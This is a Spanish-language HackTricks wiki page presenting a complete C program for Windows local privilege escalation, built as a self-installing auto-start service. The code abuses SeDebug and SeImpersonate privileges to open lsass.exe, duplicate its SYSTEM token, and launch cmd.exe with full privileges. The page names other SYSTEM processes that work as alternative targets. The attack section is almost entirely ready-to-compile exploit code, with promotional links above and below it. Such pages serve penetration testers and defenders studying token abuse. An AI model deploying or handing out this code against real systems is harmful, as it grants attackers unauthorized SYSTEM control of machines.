mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-13 14:53:03 +00:00
238 lines
8.3 KiB
Markdown
238 lines
8.3 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
|
|
El siguiente código **explota los privilegios SeDebug y SeImpersonate** para copiar el token de un **proceso que se ejecuta como SYSTEM** y con **todos los privilegios del token**. \
|
|
En este caso, este código se puede compilar y utilizar como un **binario de servicio de Windows** para verificar que funciona.\
|
|
Sin embargo, la parte principal del **código donde ocurre la elevación** está dentro de la **función `Exploit`**.\
|
|
Dentro de esa función puedes ver que se busca el **proceso **_**lsass.exe**_**, luego se copia su **token**, y finalmente ese token se utiliza para generar un nuevo _**cmd.exe**_ con todos los privilegios del token copiado.
|
|
|
|
**Otros procesos** que se ejecutan como SYSTEM con todos o la mayoría de los privilegios del token son: **services.exe**, **svhost.exe** (uno de los primeros), **wininit.exe**, **csrss.exe**... (_recuerda que no podrás copiar un token de un proceso protegido_). Además, puedes utilizar la herramienta [Process Hacker](https://processhacker.sourceforge.io/downloads.php) ejecutándola como administrador para ver los tokens de un proceso.
|
|
```c
|
|
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
|
|
#include <windows.h>
|
|
#include <tlhelp32.h>
|
|
#include <tchar.h>
|
|
#pragma comment (lib, "advapi32")
|
|
|
|
TCHAR* serviceName = TEXT("TokenDanceSrv");
|
|
SERVICE_STATUS serviceStatus;
|
|
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
|
|
HANDLE stopServiceEvent = 0;
|
|
|
|
//This function will find the pid of a process by name
|
|
int FindTarget(const char *procname) {
|
|
|
|
HANDLE hProcSnap;
|
|
PROCESSENTRY32 pe32;
|
|
int pid = 0;
|
|
|
|
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
|
|
|
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
if (!Process32First(hProcSnap, &pe32)) {
|
|
CloseHandle(hProcSnap);
|
|
return 0;
|
|
}
|
|
|
|
while (Process32Next(hProcSnap, &pe32)) {
|
|
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
|
pid = pe32.th32ProcessID;
|
|
break;
|
|
}
|
|
}
|
|
|
|
CloseHandle(hProcSnap);
|
|
|
|
return pid;
|
|
}
|
|
|
|
|
|
int Exploit(void) {
|
|
|
|
HANDLE hSystemToken, hSystemProcess;
|
|
HANDLE dupSystemToken = NULL;
|
|
HANDLE hProcess, hThread;
|
|
STARTUPINFOA si;
|
|
PROCESS_INFORMATION pi;
|
|
int pid = 0;
|
|
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
|
|
// open high privileged process
|
|
if ( pid = FindTarget("lsass.exe") )
|
|
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
|
else
|
|
return -1;
|
|
|
|
// extract high privileged token
|
|
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
|
|
CloseHandle(hSystemProcess);
|
|
return -1;
|
|
}
|
|
|
|
// make a copy of a token
|
|
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
|
|
|
|
// and spawn a new process with higher privs
|
|
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
|
|
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
void WINAPI ServiceControlHandler( DWORD controlCode ) {
|
|
switch ( controlCode ) {
|
|
case SERVICE_CONTROL_SHUTDOWN:
|
|
case SERVICE_CONTROL_STOP:
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
SetEvent( stopServiceEvent );
|
|
return;
|
|
|
|
case SERVICE_CONTROL_PAUSE:
|
|
break;
|
|
|
|
case SERVICE_CONTROL_CONTINUE:
|
|
break;
|
|
|
|
case SERVICE_CONTROL_INTERROGATE:
|
|
break;
|
|
|
|
default:
|
|
break;
|
|
}
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
}
|
|
|
|
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
|
|
// initialise service status
|
|
serviceStatus.dwServiceType = SERVICE_WIN32;
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
serviceStatus.dwControlsAccepted = 0;
|
|
serviceStatus.dwWin32ExitCode = NO_ERROR;
|
|
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
|
|
serviceStatus.dwCheckPoint = 0;
|
|
serviceStatus.dwWaitHint = 0;
|
|
|
|
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
|
|
|
|
if ( serviceStatusHandle ) {
|
|
// service is starting
|
|
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
// do initialisation here
|
|
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
|
|
|
|
// running
|
|
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
Exploit();
|
|
WaitForSingleObject( stopServiceEvent, -1 );
|
|
|
|
// service was stopped
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
// do cleanup here
|
|
CloseHandle( stopServiceEvent );
|
|
stopServiceEvent = 0;
|
|
|
|
// service is now stopped
|
|
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
}
|
|
}
|
|
|
|
|
|
void InstallService() {
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
|
|
|
|
if ( serviceControlManager ) {
|
|
TCHAR path[ _MAX_PATH + 1 ];
|
|
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
|
|
SC_HANDLE service = CreateService( serviceControlManager,
|
|
serviceName, serviceName,
|
|
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
|
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
|
|
0, 0, 0, 0, 0 );
|
|
if ( service )
|
|
CloseServiceHandle( service );
|
|
}
|
|
CloseServiceHandle( serviceControlManager );
|
|
}
|
|
}
|
|
|
|
void UninstallService() {
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
|
|
|
|
if ( serviceControlManager ) {
|
|
SC_HANDLE service = OpenService( serviceControlManager,
|
|
serviceName, SERVICE_QUERY_STATUS | DELETE );
|
|
if ( service ) {
|
|
SERVICE_STATUS serviceStatus;
|
|
if ( QueryServiceStatus( service, &serviceStatus ) ) {
|
|
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
|
|
DeleteService( service );
|
|
}
|
|
CloseServiceHandle( service );
|
|
}
|
|
CloseServiceHandle( serviceControlManager );
|
|
}
|
|
}
|
|
|
|
int _tmain( int argc, TCHAR* argv[] )
|
|
{
|
|
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
|
|
InstallService();
|
|
}
|
|
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
|
|
UninstallService();
|
|
}
|
|
else {
|
|
SERVICE_TABLE_ENTRY serviceTable[] = {
|
|
{ serviceName, ServiceMain },
|
|
{ 0, 0 }
|
|
};
|
|
|
|
StartServiceCtrlDispatcher( serviceTable );
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|